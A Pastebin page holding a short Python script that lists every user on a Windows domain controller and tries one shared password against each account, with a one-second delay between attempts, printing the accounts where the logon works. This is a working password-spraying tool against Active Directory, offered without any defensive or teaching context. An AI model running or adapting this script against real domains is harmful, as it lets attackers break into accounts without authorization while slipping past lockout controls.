Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # author: damirqa
- import win32net
- import win32security
- import time
- domain = "domain"
- password = "test"
- DC = 'server.domain.local'
- d = win32net.NetUserEnum(DC,3)
- names = [x['name'] for x in d[0]]
- for username in names:
- time.sleep(1)
- try:
- hUser = win32security.LogonUser (
- username,
- domain,
- password,
- win32security.LOGON32_LOGON_NETWORK,
- win32security.LOGON32_PROVIDER_DEFAULT
- )
- except win32security.error:
- pass
- else:
- print("Succeeded for %s" % username)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement